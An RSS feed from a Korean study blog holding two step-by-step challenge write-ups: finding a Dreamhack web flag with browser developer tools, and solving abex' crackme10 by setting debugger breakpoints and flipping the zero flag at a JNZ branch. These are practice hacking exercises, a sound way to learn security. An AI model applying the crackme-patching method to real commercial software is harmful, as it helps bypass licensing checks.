<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>공부 메모장</title>
    <link>https://geru.tistory.com/</link>
    <description>.</description>
    <language>ko</language>
    <pubDate>Sun, 14 Jun 2026 17:19:14 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>notepad.exe</managingEditor>
    <image>
      <title>공부 메모장</title>
      <url>https://tistory1.daumcdn.net/tistory/4022042/attach/d088992163104f31b4f3aeb490b6a1ae</url>
      <link>https://geru.tistory.com</link>
    </image>
    <item>
      <title>[드림핵] devtools-sources 문제</title>
      <link>https://geru.tistory.com/125</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;1.&amp;nbsp;문제파일을&amp;nbsp;다운로드&amp;nbsp;후&amp;nbsp;파일&amp;nbsp;내의&amp;nbsp;index.html을&amp;nbsp;실행하였습니다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;625&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rwdQ9/btsrIeleKWH/IltEWLZd4aLcgCWyyz1uAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rwdQ9/btsrIeleKWH/IltEWLZd4aLcgCWyyz1uAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rwdQ9/btsrIeleKWH/IltEWLZd4aLcgCWyyz1uAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrwdQ9%2FbtsrIeleKWH%2FIltEWLZd4aLcgCWyyz1uAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;930&quot; height=&quot;625&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;625&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.Step&amp;nbsp;2.&amp;nbsp;index.html&amp;nbsp;웹페이지&amp;nbsp;접근&amp;nbsp;후&amp;nbsp;관리자&amp;nbsp;도구(F12)를&amp;nbsp;실행하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1160&quot; data-origin-height=&quot;865&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QBAPH/btsrZATXa1b/sGTISLbjeyw6vosrke5en1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QBAPH/btsrZATXa1b/sGTISLbjeyw6vosrke5en1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QBAPH/btsrZATXa1b/sGTISLbjeyw6vosrke5en1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQBAPH%2FbtsrZATXa1b%2FsGTISLbjeyw6vosrke5en1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1160&quot; height=&quot;865&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1160&quot; data-origin-height=&quot;865&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;3.&amp;nbsp;검색&amp;nbsp;기능을&amp;nbsp;선택&amp;nbsp;후&amp;nbsp;DH를&amp;nbsp;검색하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;862&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baHpBN/btsrZBSQFaG/JlZlv28SImDTc6zBMTBdg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baHpBN/btsrZBSQFaG/JlZlv28SImDTc6zBMTBdg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baHpBN/btsrZBSQFaG/JlZlv28SImDTc6zBMTBdg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaHpBN%2FbtsrZBSQFaG%2FJlZlv28SImDTc6zBMTBdg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1161&quot; height=&quot;862&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;862&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;4.&amp;nbsp;Flag&amp;nbsp;값을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1160&quot; data-origin-height=&quot;866&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dFFK2X/btsrVqLesB2/InTuOjkpTBHy7NKSm4UPZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dFFK2X/btsrVqLesB2/InTuOjkpTBHy7NKSm4UPZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dFFK2X/btsrVqLesB2/InTuOjkpTBHy7NKSm4UPZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdFFK2X%2FbtsrVqLesB2%2FInTuOjkpTBHy7NKSm4UPZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1160&quot; height=&quot;866&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1160&quot; data-origin-height=&quot;866&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/웹해킹문제</category>
      <category>devtools-sources</category>
      <category>devtools-sources문제</category>
      <category>개발자툴</category>
      <category>개발자툴사용법</category>
      <category>드림핵</category>
      <category>웹해킹</category>
      <category>웹해킹공부</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/125</guid>
      <comments>https://geru.tistory.com/125#entry125comment</comments>
      <pubDate>Thu, 24 Aug 2023 09:00:45 +0900</pubDate>
    </item>
    <item>
      <title>[abex' crackme] crackme10 문제</title>
      <link>https://geru.tistory.com/124</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;1.&amp;nbsp;CrackMe&amp;nbsp;10.exe를&amp;nbsp;실행하였습니다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4col8/btsrZzgrQpI/iiQbLiou87zUv7Axb97PJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4col8/btsrZzgrQpI/iiQbLiou87zUv7Axb97PJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4col8/btsrZzgrQpI/iiQbLiou87zUv7Axb97PJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4col8%2FbtsrZzgrQpI%2FiiQbLiou87zUv7Axb97PJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;199&quot; height=&quot;87&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;.Step&amp;nbsp;2.&amp;nbsp;테스트&amp;nbsp;값으로&amp;nbsp;&quot;11111111111111111111111&quot;&amp;nbsp;값을&amp;nbsp;입력&amp;nbsp;후&amp;nbsp;Check하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5UNTh/btsrTpTsCt3/oiN8IhcskyI3nkC4uMhbU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5UNTh/btsrTpTsCt3/oiN8IhcskyI3nkC4uMhbU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5UNTh/btsrTpTsCt3/oiN8IhcskyI3nkC4uMhbU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5UNTh%2FbtsrTpTsCt3%2FoiN8IhcskyI3nkC4uMhbU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;199&quot; height=&quot;87&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;3.&amp;nbsp;키&amp;nbsp;값이&amp;nbsp;다를&amp;nbsp;시&amp;nbsp;오류&amp;nbsp;메시지를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;121&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beOzAQ/btsrZAfkWw0/23hZifIeqSuAZuksq5NT4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beOzAQ/btsrZAfkWw0/23hZifIeqSuAZuksq5NT4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beOzAQ/btsrZAfkWw0/23hZifIeqSuAZuksq5NT4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeOzAQ%2FbtsrZAfkWw0%2F23hZifIeqSuAZuksq5NT4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;121&quot; height=&quot;128&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;121&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;4.&amp;nbsp;오류&amp;nbsp;메시지&amp;nbsp;내의&amp;nbsp;&quot;Wrong&amp;nbsp;C0d3&amp;nbsp;!!!&quot;&amp;nbsp;문자열을&amp;nbsp;검색하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ugl1m/btsrRTAK4mA/22FuoXT5D28V9L26vmGyek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ugl1m/btsrRTAK4mA/22FuoXT5D28V9L26vmGyek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ugl1m/btsrRTAK4mA/22FuoXT5D28V9L26vmGyek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fugl1m%2FbtsrRTAK4mA%2F22FuoXT5D28V9L26vmGyek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;5.&amp;nbsp;그래프의&amp;nbsp;맨&amp;nbsp;위쪽에&amp;nbsp;브레이크포인트를&amp;nbsp;걸고&amp;nbsp;실행&amp;nbsp;시&amp;nbsp;브레이크포인트에&amp;nbsp;안걸리고&amp;nbsp;CrackMe&amp;nbsp;10.exe가&amp;nbsp;종료되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nlVzB/btsrR2K8Ffa/Eq3tVkR01TKBKck23rReO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nlVzB/btsrR2K8Ffa/Eq3tVkR01TKBKck23rReO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nlVzB/btsrR2K8Ffa/Eq3tVkR01TKBKck23rReO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnlVzB%2FbtsrR2K8Ffa%2FEq3tVkR01TKBKck23rReO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;6.&amp;nbsp;원인을&amp;nbsp;파악하기&amp;nbsp;위해&amp;nbsp;최초&amp;nbsp;시작&amp;nbsp;함수의&amp;nbsp;맨&amp;nbsp;위쪽&amp;nbsp;부분에&amp;nbsp;브레이크포인트를&amp;nbsp;걸고&amp;nbsp;실행하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XsyIF/btsrVs3jK0J/rf5aOMZdI9PyFVZ87hyNrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XsyIF/btsrVs3jK0J/rf5aOMZdI9PyFVZ87hyNrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XsyIF/btsrVs3jK0J/rf5aOMZdI9PyFVZ87hyNrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXsyIF%2FbtsrVs3jK0J%2Frf5aOMZdI9PyFVZ87hyNrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;7.&amp;nbsp;실행&amp;nbsp;후&amp;nbsp;분기&amp;nbsp;부분에서&amp;nbsp;ExitProcess함수가&amp;nbsp;존재하는&amp;nbsp;그래프로&amp;nbsp;이동하는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dakpFs/btsrZj5QIy2/ZOMpMFTTyCP7uE60nBXEBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dakpFs/btsrZj5QIy2/ZOMpMFTTyCP7uE60nBXEBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dakpFs/btsrZj5QIy2/ZOMpMFTTyCP7uE60nBXEBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdakpFs%2FbtsrZj5QIy2%2FZOMpMFTTyCP7uE60nBXEBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;8.&amp;nbsp;JNZ은&amp;nbsp;ZF&amp;nbsp;값&amp;nbsp;관련&amp;nbsp;명령어이므로&amp;nbsp;0을&amp;nbsp;1로&amp;nbsp;변조&amp;nbsp;하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOB7lJ/btsrR6tf09F/o7kvQk3H39xJODOGjTbSt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOB7lJ/btsrR6tf09F/o7kvQk3H39xJODOGjTbSt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOB7lJ/btsrR6tf09F/o7kvQk3H39xJODOGjTbSt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOB7lJ%2FbtsrR6tf09F%2Fo7kvQk3H39xJODOGjTbSt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;9.&amp;nbsp;ZF&amp;nbsp;값&amp;nbsp;변조&amp;nbsp;시&amp;nbsp;다른&amp;nbsp;그래프로&amp;nbsp;이동한&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAjSle/btsrH6N8FLH/02mK0mkWo5m42oKNADkXq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAjSle/btsrH6N8FLH/02mK0mkWo5m42oKNADkXq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAjSle/btsrH6N8FLH/02mK0mkWo5m42oKNADkXq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAjSle%2FbtsrH6N8FLH%2F02mK0mkWo5m42oKNADkXq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;10.&amp;nbsp;CrackMe&amp;nbsp;10.exe의&amp;nbsp;입력&amp;nbsp;값에&amp;nbsp;&quot;11111111111111111&quot;&amp;nbsp;값을&amp;nbsp;입력&amp;nbsp;후&amp;nbsp;Check하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvESys/btsrYxKaYZN/0YyWzr2M2KjcyF6yk1arh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvESys/btsrYxKaYZN/0YyWzr2M2KjcyF6yk1arh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvESys/btsrYxKaYZN/0YyWzr2M2KjcyF6yk1arh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvESys%2FbtsrYxKaYZN%2F0YyWzr2M2KjcyF6yk1arh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;199&quot; height=&quot;87&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;11.&amp;nbsp;첫번째로&amp;nbsp;설정한&amp;nbsp;브레이크포인트&amp;nbsp;쪽으로&amp;nbsp;접근에&amp;nbsp;성공하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEYF2d/btsrH8Fa0rH/OhbA6khFgF7MU6kwFLYn9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEYF2d/btsrH8Fa0rH/OhbA6khFgF7MU6kwFLYn9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEYF2d/btsrH8Fa0rH/OhbA6khFgF7MU6kwFLYn9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEYF2d%2FbtsrH8Fa0rH%2FOhbA6khFgF7MU6kwFLYn9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;11.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;12.&amp;nbsp;분기부분에서&amp;nbsp;오류&amp;nbsp;메시지&amp;nbsp;그래프&amp;nbsp;쪽으로&amp;nbsp;진행되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/exGhfm/btsrR1SZEJl/U6FuAklu8sacqYGkOK50aK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/exGhfm/btsrR1SZEJl/U6FuAklu8sacqYGkOK50aK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/exGhfm/btsrR1SZEJl/U6FuAklu8sacqYGkOK50aK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FexGhfm%2FbtsrR1SZEJl%2FU6FuAklu8sacqYGkOK50aK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;12.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
